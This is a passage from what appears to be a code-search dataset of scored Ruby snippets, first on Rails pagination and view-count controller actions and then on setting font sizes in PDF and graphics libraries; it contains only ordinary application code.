"text": "def index \n\t@totals = News.count\n\t@perpage = 5\n\t\n\tstart = params[ :start ] ? params[ :start ].to_i : 0;\n\t@news = News.order(\"time desc\").offset( start ).limit( @perpage )\n\t@current_page_no = start / @perpage\n \n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "b9d143b24dc18e24d60ce6d7a5b1fc34",
"score": "0.61223596",
"text": "def index\n @totals = UserExp.count\n @perpage = 5\n \n start = params[ :start ] ? params[ :start ].to_i : 0;\n @userexps = UserExp.order(\"time desc\").offset( start ).limit( @perpage )\n @current_page_no = start / @perpage\n \n respond_to do |format|\n format.html # index.html.erb\n end\nend",
"title": ""
},
{
"docid": "9894189cfe36a4062633b21c0409dd04",
"score": "0.60954094",
"text": "def show\n object = resource\n object.increment!(:views_count)\n\n show!\n end",
"title": ""
},
{
"docid": "f0621baff642bda44aeacfa1b1a5436c",
"score": "0.60858816",
"text": "def index\n @test_views = TestView.all.paginate(:page => params[:page], :per_page => 6)\n end",
"title": ""
},
{
"docid": "37ef21d75fd91d93a80fc205a7d8b72d",
"score": "0.60564405",
"text": "def increment_views_count\n self.class.increment_counter :views_count, self.id\n \tself.reload\n end",
"title": ""
},
{
"docid": "769df8bec93d1d8800a65580ce4b9adb",
"score": "0.60504156",
"text": "def next\n @count += 1\n start\n end",
"title": ""
},
{
"docid": "7ffa29bbd598b2d5212c9e6cf56ac5c8",
"score": "0.60425353",
"text": "def show\n # @items.views += 1\n # @item.save\n end",
"title": ""
},
{
"docid": "a32b49d08ffd6330f46309cc534ef32f",
"score": "0.59783995",
"text": "def show\n @idea.update_attributes(views: @idea.views + 1)\n end",
"title": ""
},
{
"docid": "caf669f50f1872dcb1809de891eb96cd",
"score": "0.5962673",
"text": "def show\n @note.increment!(:view_count)\n end",
"title": ""
},
{
"docid": "17fe00f3a2b18c35fd7f0aff7daecdc4",
"score": "0.5955797",
"text": "def increment_view_counter\n update_column(:view_count, self.view_count + 1)\n end",
"title": ""
},
{
"docid": "ca6961414ba3d2c625ddf7c410fbc641",
"score": "0.5924718",
"text": "def show\n @view = View.find_by(video_id: @video.id)\n @all_views = @view.nil? ? 0 : @view.view_count\n\n if @all_views == 0\n View.create!(view_count: @all_views + 1, video_id: @video.id)\n else\n @view.update(view_count: @all_views + 1)\n end\n end",
"title": ""
},
{
"docid": "54fc12bfce1595b36f2dc96d7ff2c736",
"score": "0.59108776",
"text": "def index\n @products = Product.order(:title)\n @count = increment_count\n #@count_message = \"You've been here #{@count} times\" if session [:counter] > 5\n end",
"title": ""
},
{
"docid": "48d26dd1009d9bf72e5336997322cf78",
"score": "0.5908768",
"text": "def start(example_count)\n super(example_count)\n end",
"title": ""
},
{
"docid": "43ac6a566ca8a5d38d7b01da81eb126d",
"score": "0.5901065",
"text": "def view_count\n update_cache unless self[:view_count]\n self[:view_count]\n end",
"title": ""
},
{
"docid": "836ea2d42da41d175f1477bf7b99c448",
"score": "0.59007764",
"text": "def visit\n @visits += 1\n @visits\n end",
"title": ""
},
{
"docid": "66807262ee97d82d3f370b20f84ac7ee",
"score": "0.5893608",
"text": "def views\n return 0 if check_unique_investigation_count.blank? || check_unique_request_count.blank?\n return 0 if check_unique_request_count > check_unique_investigation_count # if more downloads than views then something is wrong\n\n check_unique_investigation_count - check_unique_request_count\n end",
"title": ""
},
{
"docid": "9909a4e9193c0fff81e3e153d7a98de8",
"score": "0.5891826",
"text": "def index\n \n session[:page] ||= 0\n first_displayed_entry = session[:page] * 10\n last_displayed_entry = first_displayed_entry + 9\n @ripples = Ripple.order(created_at: :desc)\n @ripples = @ripples[first_displayed_entry..last_displayed_entry]\n \n end",
"title": ""
},
{
"docid": "76b0db5584c2f455c60e336d424d5d70",
"score": "0.58501",
"text": "def index\n if params[:id].nil?\n params[:id] = 1\n end\n @posts = Post.find(:all, :order => 'id DESC', :offset => (params[:id].to_i * 5 - 5), :limit => 5)\n @divided_count = (Post.count(:all) / 5.0).ceil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "868884a795f9e450942bd9c0bdbe7bad",
"score": "0.58462125",
"text": "def show\n @article.update( \n views: @article.views + 1\n )\n @relevant_articles = Article.tagged_with(@article.tag_list, :any => true)\n .where(published: true).where.not(id: @article.id)\n .order('views desc').limit(3)\n end",
"title": ""
},
{
"docid": "17966ac7ffda6a58d4fd24706fc4ee23",
"score": "0.5839486",
"text": "def iterations; end",
"title": ""
},
{
"docid": "d980b4b5de75a1d983c07b48e55ef0da",
"score": "0.5832984",
"text": "def show\n @post.view_count = @post.view_count || 0\n @post.view_count = @post.view_count + 1\n @post.save\n end",
"title": ""
},
{
"docid": "d500c93a64f14d22fd5ab2077a63aa63",
"score": "0.58321905",
"text": "def show\n @v = 0\n @n = 0\n @target.tasks.each do |g|\n @count = 0\n\n @w = 0\n \n y = g.updated_at.to_date\n c = Date.today\n if(@r = ((c-y).to_i >=3))\n @count =+1\n end\n if g.progress.between?(0,24)\n @v = @v+1 \n end\n if g.progress.between?(75,100)\n @n = @n+1\n end\n\n \n end\n @g = (@target.tasks.count)*100\n @j = @target.tasks.sum(:progress)\n @x = @g - @j\n\n\n\n\n\n end",
"title": ""
},
{
"docid": "055a8ad60dcd5ef26759e94d182ada1b",
"score": "0.5809735",
"text": "def index\n\t\t@artists = Artist.all\n\t\t@count = @artists.last.cycle\n\tend",
"title": ""
},
{
"docid": "94cde64a9cad81ef5cf6047eed4d9430",
"score": "0.5808215",
"text": "def show\n views = @teaching.views.nil? ? 1 : @teaching.views + 1\n @teaching.update(views: views)\n end",
"title": ""
},
{
"docid": "33c0c3b6ae5bd2eac64d4d922d85d070",
"score": "0.5799147",
"text": "def index\n @limit = get_limit\n @offset = get_offset(params)\n @user_activities_count = UserActivity.count\n @user_activities = UserActivity.find(:all, :limit => @limit, :offset => @offset )\n @results_pages = @user_activities_count.fdiv(@limit)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_activities }\n end\n end",
"title": ""
},
{
"docid": "177fd20d36677642484a48c23abc642e",
"score": "0.5776626",
"text": "def set_view_vars\n\n get_planning_years\n\n # Set the view up. Start year is the first year in the view\n @start_year = params[:start_year].blank? ? @first_year : params[:start_year].to_i\n @year_1 = @start_year\n @year_2 = @start_year + 1\n @year_3 = @start_year + 2\n\n # Add ability to page year by year\n @total_rows = @years.size\n # get the index of the start year in the array\n current_index = @years.index(@start_year)\n @row_number = current_index + 1\n\n get_projects\n\n end",
"title": ""
},
{
"docid": "32428b74e193cd223e0d3fcdd1d687da",
"score": "0.5771529",
"text": "def index\n @page_views = PageView.all\n end",
"title": ""
},
{
"docid": "47ce06dcb4915133bfc79af1b91a84c9",
"score": "0.5765964",
"text": "def twelve_week_page_view_graph\n @start_date = Date.today.at_beginning_of_week - 11.weeks\n view_counts = DailyPageView.counts_for_writer_between(@user[:id], @start_date, Date.today)\n @view_counts_by_week = []\n view_counts.in_groups_of(7, false) do |week_counts|\n @view_counts_by_week << week_counts.sum\n end\n\n render :layout => false \n end",
"title": ""
},
{
"docid": "b4a5872e7bf2e74a3f20efc0df57bc03",
"score": "0.5765032",
"text": "def counter(startingPoint=1,&block)\n gen_make_generator(block) {@current = startingPoint;def _generate(onObj); cur_current = @current; @current = @current + 1; cur_current; end;}\n end",
"title": ""
},
{
"docid": "1130d7cd28fd5fd4537a51026445325a",
"score": "0.57639915",
"text": "def articles_range\n # after range is selected, and user clicked the bottom carousel\n if(params[:page])\n @page = params[:page].to_i\n @articles_set = JSON.parse(params[:articles_set])\n puts \"\\n\\n#{@articles_set}\\n\\n\"\n @total_articles = @articles_set.count\n @articles = @articles_set.slice(@page*4,4).map do |id|\n Article.find(id)\n end\n @total_pages = (@total_articles / 4.to_f).ceil\n @current_page = @page\n else #first time running it\n @page = 0\n @topic = Topic.find(params[:topic_id])\n dayMin = params[:min]\n dayMax = params[:max]\n @articles = @topic.articles.where(published_at: dayMin..dayMax).order(published_at: :desc)\n @total_articles = @articles.count\n @total_pages = (@total_articles / 4.to_f).ceil\n # @articles = @articles.order('published_at DESC')\n @articles_set = @articles.map do |article|\n article.id\n end\n puts \"\\n\\n#{@articles_set}\\n\\n\"\n @articles = @articles.slice(@page,4)\n @total_pages = (@total_articles / 4.to_f).ceil\n @current_page = @page\n end\n\n render partial: 'topics/articles_range', layout: false\n end",
"title": ""
},
{
"docid": "ce4a47945ff32ab4940e43d129f90950",
"score": "0.5763652",
"text": "def show\n @users = Users.counter\n render :action => :users\n end",
"title": ""
},
{
"docid": "fdc4df6f429f2b139e8a386523c2fa56",
"score": "0.5761397",
"text": "def start(spec_count)\n end",
"title": ""
},
{
"docid": "9b7eb1d5ad226cc80ea56bef73fe35a5",
"score": "0.5745999",
"text": "def show\n @count = 1 # PE @count enables clumsy but pretty color scheme in views\n end",
"title": ""
},
{
"docid": "061e69cf83bf44cf26e44dfbc77fc65b",
"score": "0.57445335",
"text": "def count\n count = 0\n each { count += 1 }\n count\n end",
"title": ""
},
{
"docid": "0a89e4b4cf3628622d09fc2a479070c4",
"score": "0.5741322",
"text": "def index\n if current_user.vip\n @views = View.all.desc(:created_at)\n else\n @views = View.published.desc(:created_at)\n end\n \n @views = @views.page(params[:page]).per(20)\n\n render layout: 'no_sidebar'\n end",
"title": ""
},
{
"docid": "d296f8522e3f02840f16d13a7f6e0b73",
"score": "0.574052",
"text": "def views_count\n @api.get(\"#{@api.path}/Recipient/#{@id}/Count/Views\")\n end",
"title": ""
},
{
"docid": "ca47921fc579c40167d3fa21a6f9c04f",
"score": "0.5740206",
"text": "def index\n @startups = Startup.all.paginate(page: params[:page], per_page: 5)\n @categories = Category.all #potrebbe essere ottimizzato facendolo caricare solo una volta\n #startup_in_the_spotlight sono le startup che pagano per stare in evidenza\n @startup_in_the_spotlight = Startup.where(in_the_spotlight: true)\n #startup_star e' la startup che paga di piu e che e' piu in evidenza\n @startup_star = Startup.where(:rank => @maxvalue)\n end",
"title": ""
},
{
"docid": "aeed1e68a5c0e76f1d2b7a165f69aa1d",
"score": "0.5736825",
"text": "def count\n end",
"title": ""
},
{
"docid": "5b0aa3547b83e611eaedd4679676cc05",
"score": "0.57330644",
"text": "def index\n @redemptions = Redemption.all.order(created_at: :desc).page(params[:page])\n @startpage = (params[:page] || \"1\").to_i\n @basecount = (@startpage - 1) * Redemption.default_per_page\n end",
"title": ""
},
{
"docid": "f801f11e02a6cdd2f8e5e5a857b9ed23",
"score": "0.57329744",
"text": "def count\n each.count\n end",
"title": ""
},
{
"docid": "9efd17c0e6039405b295c044d3133783",
"score": "0.5731679",
"text": "def test_ut_t2_ats_ac_003\n create_ats_data(15)\n ats_1 = AnalyzeConfig.paginate_ats(1,nil,nil )\n assert_equal ats_1.size,10\n ats_2 = AnalyzeConfig.paginate_ats(2,nil,nil )\n assert_equal ats_2.size,5\n end",
"title": ""
},
{
"docid": "41f0de3897b010e73ab23a333a225f8e",
"score": "0.5728614",
"text": "def index\n count = 0\n @db.each_in_view(\"pcaps/queued\", :include_docs => true) do |row|\n index_pcap row['doc']\n count += 1\n end\n count\n end",
"title": ""
},
{
"docid": "2d03425268263b486c3e1f628aa862ec",
"score": "0.5725788",
"text": "def incr_views\n @anchor_instance = anchor_instance.incr_views\n end",
"title": ""
},
{
"docid": "1dc00e2808805b32c73fb81d0a6e589b",
"score": "0.57201344",
"text": "def index\n @limit = get_limit\n @offset = get_offset(params)\n @users_count = UserActivity.count\n @users = User.find(:all, :limit => @limit, :offset => @offset )\n @results_pages = @users_count.fdiv(@limit)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml }\n end\n end",
"title": ""
},
{
"docid": "6684b110ae3d116cefbcabcc163d2647",
"score": "0.57200676",
"text": "def view_count\n return self.views || 0 if attributes.has_key? 'views'\n viewings.count \n end",
"title": ""
},
{
"docid": "49bf9b8ef95dca0c69b680b7efc29842",
"score": "0.5714331",
"text": "def index\n @urls = Url.all.order(\"pageviews DESC\").limit(100)\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.570734",
"text": "def count\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.570734",
"text": "def count\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.570734",
"text": "def count\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.570734",
"text": "def count\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.570734",
"text": "def count\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.570734",
"text": "def count\n end",
"title": ""
},
{
"docid": "d0889b762b376960a7759256ac1a62d6",
"score": "0.5706249",
"text": "def count\n return 12\n end",
"title": ""
},
{
"docid": "d1f5c9cc423196df67c42906b4df2d3d",
"score": "0.56996053",
"text": "def set_viewscount\n @viewscount = Viewscount.find(params[:id])\n end",
"title": ""
},
{
"docid": "fe802eacfab4fe8cfd8e97f41decabde",
"score": "0.5697993",
"text": "def view_count\n product_views.count\n end",
"title": ""
},
{
"docid": "ada344a8329f8986e75e6be486c74de4",
"score": "0.568396",
"text": "def index\n @users = User.order(hours: :desc).paginate(page: params[:page])\n @incrementer = 30 * (params[:page].to_i - 1) + 1\n if @incrementer < 0\n @incrementer = 1\n end\n end",
"title": ""
},
{
"docid": "9b8bc092d922285cb7a30855b5ee1adb",
"score": "0.5680623",
"text": "def evolve n_generations = @generations\n n_generations.times do |i| \n single_generation #classes inheriting ::Base should override 'single_generation' with different evolutionary actions.\n show_current_status if should_show?(:status)\n @current_generation += 1\n end\n end",
"title": ""
},
{
"docid": "8c5dc94462ad98f0a60bec84585cf991",
"score": "0.56781024",
"text": "def show\n @article.increment!(:views_count)\n @article.increment!(:daily_views)\n @[email protected]\n end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.567535",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5675048",
"text": "def count; end",
"title": ""
}
] |
05bdb094891c07209a2feb46cef03252
|
Set default font sizes.
|
[
{
"docid": "f195827cfd415d12eaff60c2833c1739",
"score": "0.78673494",
"text": "def set_font_sizes(font_sizes:)\n {\n method: \"Page.setFontSizes\",\n params: { fontSizes: font_sizes }.compact\n }\n end",
"title": ""
}
] |
[
{
"docid": "017d0d9a0d8973a0760af83450a763a7",
"score": "0.7454809",
"text": "def default_font_size\n (options[:default] and options[:default][:size]) ? options[:default][:size] : 40\n end",
"title": ""
},
{
"docid": "c8aba4b8e8b9ac1b4bf7d1ef1a783ce0",
"score": "0.717142",
"text": "def set_font_size size\n @font = @font_cache[size]\n return if (@font)\n @font = Gosu::Font.new(\n size,\n name: @settings.get(:font_name)\n )\n @font_cache[size] = @font\n end",
"title": ""
},
{
"docid": "0bcdeec167e5c03248360777b4165ff8",
"score": "0.70014304",
"text": "def font_size\r\n @style.font_size || @default_font_size\r\n end",
"title": ""
},
{
"docid": "4a3ad03e768e055de52e968ae8c19864",
"score": "0.69326675",
"text": "def reset_font_settings(*args, &block)\n super(*args, &block)\n self.contents.font.name = MARW_CONFIGURATION[:window_fontname] unless\n MARW_CONFIGURATION[:window_fontname].empty?\n self.contents.font.size = MARW_CONFIGURATION[:window_fontsize] unless\n MARW_CONFIGURATION[:window_fontsize] < 8\n end",
"title": ""
},
{
"docid": "208cf3c11924f486735c57b0ebc2c2a3",
"score": "0.69211817",
"text": "def SetFontSize(size)\n\t\t#Set font size in points\n\t\tif (@font_size_pt== size)\n\t\t\treturn;\n\t\tend\n\t\t@font_size_pt = size;\n\t\t@font_size = size.to_f / @k;\n\t\tif (@page > 0)\n\t\t\tout(sprintf('BT /F%d %.2f Tf ET', @current_font['i'], @font_size_pt));\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1ec6cfb760e514848bdcdb424d33915c",
"score": "0.69121903",
"text": "def change_font_size\n @font_size = 20*(@size_slider.value*2)+20\n #Use change_font_decor to maintain if font is bold or not\n change_font_decor\n end",
"title": ""
},
{
"docid": "fe63625fc662f43a172853c6b1e96f73",
"score": "0.6868543",
"text": "def preload_font_sizes *sizes\n sizes.flatten.each do |size|\n Helpers::Error.error(\n \"Expected size to be an Integer, but got\",\n \"`#{size.inspect}:#{size.class.name}'.\"\n ) unless (size.is_a? Integer)\n @font_cache[size] ||= Gosu::Font.new(\n size,\n name: @settings.get(:font_name)\n )\n end\n end",
"title": ""
},
{
"docid": "3152253c7ffd30c0f22876792df72e98",
"score": "0.6710788",
"text": "def reset_font_settings(*args, &block)\n super(*args, &block)\n set_data_font(@maqj_font_data_type) if @maqj_font_data_type\n end",
"title": ""
},
{
"docid": "5cd232abc351969cdcd7947dc1621409",
"score": "0.669802",
"text": "def default_size_multiplier(font)\n\n # Define font hash.\n factors = {\n across_the_road: 0.7,\n alabama: 0.8,\n arty_signature: 2.5,\n asem_kandis: 0.9,\n autograf: 0.5,\n born_ready: 0.5,\n brittany_signature: 0.5,\n bulgatti: 0.5,\n estelly: 0.5,\n friday_vibes: 0.8,\n from_skyler: 0.6,\n gallatone: 0.75,\n halimun: 0.4,\n hello_santtiny: 0.5,\n just_realize: 0.7,\n just_signature: 0.35,\n mayestica: 0.9,\n notera: 0.6,\n prestige_signature: 0.8,\n reinata: 1,\n santos_dumont: 1,\n shopping_list: 1,\n signatures: 0.75,\n signerica: 0.4,\n silver_pen: 0.8,\n sophistica: 0.75,\n southampton: 0.75,\n thankfully: 0.5,\n the_jacklyn: 0.8,\n tomatoes: 0.35,\n wanted_signature: 0.7,\n white_angelica: 0.4,\n xtreem: 0.7\n }\n\n # Return factor.\n return factors.fetch(font.parameterize.underscore.to_sym, 0.5)\n\n end",
"title": ""
},
{
"docid": "63d42f9a9c8b58fc5705575bb4f04cf9",
"score": "0.66920424",
"text": "def title_font_size=(value)\n @title_font.size = value\n end",
"title": ""
},
{
"docid": "6a1f0a97720317b1c2329bc96e598ee3",
"score": "0.6642546",
"text": "def font_size(size=nil)\n cur_page.font_size(size)\n end",
"title": ""
},
{
"docid": "d52927302f420dbd79fdb7e3e996e32f",
"score": "0.66360915",
"text": "def coordinate_labels_font_size\n if self.options[:font_size].blank?\n 10\n else\n self.options[:font_size]\n end\n end",
"title": ""
},
{
"docid": "0db9d1492de652bf05960a913d1e4d83",
"score": "0.66191584",
"text": "def change_font_size(font_size = 10)\n validate_worksheet\n raise 'Argument must be a number' unless font_size.is_a?(Integer) || font_size.is_a?(Float)\n\n font = get_cell_font.dup\n font.set_size(font_size)\n update_font_references(font)\n end",
"title": ""
},
{
"docid": "0db9d1492de652bf05960a913d1e4d83",
"score": "0.66191584",
"text": "def change_font_size(font_size = 10)\n validate_worksheet\n raise 'Argument must be a number' unless font_size.is_a?(Integer) || font_size.is_a?(Float)\n\n font = get_cell_font.dup\n font.set_size(font_size)\n update_font_references(font)\n end",
"title": ""
},
{
"docid": "590a6455d1ee56cffbfcfdee36621f68",
"score": "0.65673774",
"text": "def change_font_size(font_size=10)\n validate_worksheet\n if font_size.is_a?(Integer) || font_size.is_a?(Float)\n # Get copy of font object with modified size\n font = deep_copy(workbook.fonts[font_id().to_s][:font])\n font[:sz][:attributes][:val] = font_size\n # Update font and xf array\n change_font(font)\n else\n raise 'Argument must be a number'\n end\n end",
"title": ""
},
{
"docid": "d701bf01b7095e01f0a6b0205f0177bf",
"score": "0.64886135",
"text": "def set_default_size_unit\n self.size_unit = \"m\" if self.size_unit.blank?\n end",
"title": ""
},
{
"docid": "7d274b4ae7a3cdd4dfba0a0574101b4a",
"score": "0.6417112",
"text": "def font_size\n styles['font-size'] ? styles['font-size'].to_f : DEFAULT_FONT_SIZE\n end",
"title": ""
},
{
"docid": "088603240c764bf857e497ca1efca53a",
"score": "0.64128035",
"text": "def set_font(face, size)\n @curr_font = Gauges::FontRef.get(face, size)\n end",
"title": ""
},
{
"docid": "1473f5a93531a8cf912a25d7966879ce",
"score": "0.6400503",
"text": "def font_size\n @font_size ||= [cell_height, cell_width].sort.shift * 0.8\n end",
"title": ""
},
{
"docid": "d89e486cc6bc2608f4a375ba24617bab",
"score": "0.6373477",
"text": "def fontsize=(fontSize)\n @elementHash[:fontsize] = fontSize.to_f\n end",
"title": ""
},
{
"docid": "3bb5c95ce82aa8ebb85a91713cfeeb55",
"score": "0.6351333",
"text": "def set_text(font, size)\n\t \[email protected](font, size)\n\t end",
"title": ""
},
{
"docid": "996a964ef1e2728ef58c28c3c40f273a",
"score": "0.63117844",
"text": "def legend_font_size=(value)\n @legend_font.size = value\n end",
"title": ""
},
{
"docid": "45f0bc9feff0112503dde9b63e584c27",
"score": "0.62644744",
"text": "def font_descender(size = nil)\n size = @font_size if size.nil? or size <= 0\n\n select_font(\"Helvetica\") if @fonts.empty?\n hi = @fonts[@current_font].fontbbox[1].to_f\n (size * hi / 1000.0)\n end",
"title": ""
},
{
"docid": "26a1ff133a6069d40e195d94b171016a",
"score": "0.6257654",
"text": "def font_size\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"title": ""
},
{
"docid": "94be84210bc0f45f896aafade296db3f",
"score": "0.6251036",
"text": "def font_setup\n %Q(font \"#{@font},#{@fontsize}\")\n end",
"title": ""
},
{
"docid": "ca571d8c3b9cb3cdd90bdada41ef48d4",
"score": "0.6240549",
"text": "def font_size=(font_size)\n if !font_size.nil? && font_size < 0\n fail ArgumentError, 'invalid value for \"font_size\", must be greater than or equal to 0.'\n end\n\n @font_size = font_size\n end",
"title": ""
},
{
"docid": "8eeb500a0507594c27046c222caae02e",
"score": "0.6222881",
"text": "def reset_font\n mixin({\n font_size: '100%',\n font: 'inherit',\n vertical_align: 'baseline'\n })\n end",
"title": ""
},
{
"docid": "3225f5deeaba4188869c05b5b0c7dbbe",
"score": "0.6197065",
"text": "def font_size\n return nil unless @styles\n\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"title": ""
},
{
"docid": "9861d54850dcaa32fbcf313bc63156d8",
"score": "0.61933464",
"text": "def setfont(*args)\n @p.setfont(self, *args)\n end",
"title": ""
},
{
"docid": "d36106260a8bbf02d8da00243d6c0bd4",
"score": "0.6188309",
"text": "def settextfontprec(*)\n super\n end",
"title": ""
},
{
"docid": "f29abb2f4143037a69acf03ea1eb0df9",
"score": "0.6162575",
"text": "def fontsize(points=20)\n @fsize = points\n font unless @fname\n #CGContextSetFontSize(@ctx,points)\n CGContextSelectFont(@ctx, @fname, @fsize, KCGEncodingMacRoman)\n end",
"title": ""
},
{
"docid": "2b55abbd3b58619759ef759cf2406590",
"score": "0.6119823",
"text": "def scale_fontsize(value)\n value * @scale\n end",
"title": ""
},
{
"docid": "34fd7d4fe052bec4aba0bd4f6a41fb73",
"score": "0.6089809",
"text": "def marker_font_size=(value)\n @marker_font.size = value\n end",
"title": ""
},
{
"docid": "b564004a7016c8b34eaee8cad7ce67e3",
"score": "0.6088401",
"text": "def default_font; \"example.font\"; end",
"title": ""
},
{
"docid": "c04f6fa9203b5d9c3f7abd92ca58d2d6",
"score": "0.60565126",
"text": "def initialize(name=nil, size=nil)\n @name = name || Font.default_name\n @size = size || Font.default_size\n @bold = Font.default_bold\n @italic = Font.default_italic\n @color = Font.default_color\n end",
"title": ""
},
{
"docid": "968d5716f14bebbba803e4b77297e70f",
"score": "0.60419786",
"text": "def default_font_name()\n end",
"title": ""
},
{
"docid": "5c6095a51ea65659da0e6925b8930a6e",
"score": "0.6025184",
"text": "def initialize_fonts(application)\r\n\t[12, 14, 16, 18, 24].each() do |size|\r\n\t\tFONT[\"Courier #{size}\"] = FXFont.new(application, 'Courier New', size)\r\n\t\tFONT[\"Helvetica #{size}\"] = FXFont.new(application, 'Helvetica', size)\r\n\tend\r\n\t\r\n\tFONT['Courier 24 bold'] = FXFont.new(application, 'Courier New', 24, FXFont::Bold)\r\nend",
"title": ""
},
{
"docid": "644cfd703e666c7000e6c94147f71468",
"score": "0.59977466",
"text": "def pbSetSmallFont(bitmap)\n bitmap.font.name=pbSmallFontName\n bitmap.font.size=25\nend",
"title": ""
},
{
"docid": "c1c8f3e79e7abe6def2d53c108de44c3",
"score": "0.59575963",
"text": "def text_size s, f = font\n f.text_size s\n end",
"title": ""
},
{
"docid": "c1c8f3e79e7abe6def2d53c108de44c3",
"score": "0.59575963",
"text": "def text_size s, f = font\n f.text_size s\n end",
"title": ""
},
{
"docid": "8dde1b29cea772d00b759fbab151e9ca",
"score": "0.58898395",
"text": "def font(name=nil, size=nil, options={})\n cur_page.font(name, size, options)\n end",
"title": ""
},
{
"docid": "8ae854f46b20da3065938bdbbb0df29c",
"score": "0.58536804",
"text": "def set_font\n font_families.update(\n 'HealthQuestPDF' => {\n normal: HealthQuest::Engine.root.join('lib', 'fonts', 'sourcesanspro-regular-webfont.ttf'),\n medium: HealthQuest::Engine.root.join('lib', 'fonts', 'sourcesanspro-bold-webfont.ttf'),\n bold: HealthQuest::Engine.root.join('lib', 'fonts', 'bitter-bold.ttf')\n }\n )\n font 'HealthQuestPDF'\n end",
"title": ""
},
{
"docid": "6e2bfa148e926cc85982ed0858968265",
"score": "0.5839284",
"text": "def set_fonts\n font_families.update(\"Arial\" => {\n :normal => \"#{Rails.root}/vendor/assets/fonts/Arial.ttf\",\n :bold => \"#{Rails.root}/vendor/assets/fonts/Arial-Bold.ttf\"\n })\n font \"Arial\"\n end",
"title": ""
},
{
"docid": "54ac269df61384a3ead71d829154959b",
"score": "0.5820557",
"text": "def SetFont(family, style='', size=0)\n\t\t# save previous values\n\t\t@prevfont_family = @font_family;\n\t\t@prevfont_style = @font_style;\n\n\t\tfamily=family.downcase;\n\t\tif (family=='')\n\t\t\tfamily=@font_family;\n\t\tend\n\t\tif ((!@is_unicode) and (family == 'arial'))\n\t\t\tfamily = 'helvetica';\n\t\telsif ((family==\"symbol\") or (family==\"zapfdingbats\"))\n\t\t\tstyle='';\n\t\tend\n\t\t\n\t\tstyle=style.upcase;\n\n\t\tif (style.include?('U'))\n\t\t\t@underline=true;\n\t\t\tstyle= style.gsub('U','');\n\t\telse\n\t\t\t@underline=false;\n\t\tend\n\t\tif (style.include?('D'))\n\t\t\t@deleted=true;\n\t\t\tstyle= style.gsub('D','');\n\t\telse\n\t\t\t@deleted=false;\n\t\tend\n\t\tif (style=='IB')\n\t\t\tstyle='BI';\n\t\tend\n\t\tif (size==0)\n\t\t\tsize=@font_size_pt;\n\t\tend\n\n\t\t# try to add font (if not already added)\n\t\tAddFont(family, style);\n\t\t\n\t\t#Test if font is already selected\n\t\tif ((@font_family == family) and (@font_style == style) and (@font_size_pt == size))\n\t\t\treturn;\n\t\tend\n\t\t\n\t\tfontkey = family + style;\n\t\tstyle = '' if (@fonts[fontkey].nil? and !@fonts[family].nil?)\n \n\t\t#Test if used for the first time\n\t\tif (@fonts[fontkey].nil?)\n\t\t\t#Check if one of the standard fonts\n\t\t\tif (!@core_fonts[fontkey].nil?)\n\t\t\t\tif @@fpdf_charwidths[fontkey].nil?\n\t\t\t\t\t#Load metric file\n\t\t\t\t\tfile = family;\n\t\t\t\t\tif ((family!='symbol') and (family!='zapfdingbats'))\n\t\t\t\t\t\tfile += style.downcase;\n\t\t\t\t\tend\n\t\t\t\t\tif (getfontpath(file + '.rb').nil?)\n\t\t\t\t\t\t# try to load the basic file without styles\n\t\t\t\t\t\tfile = 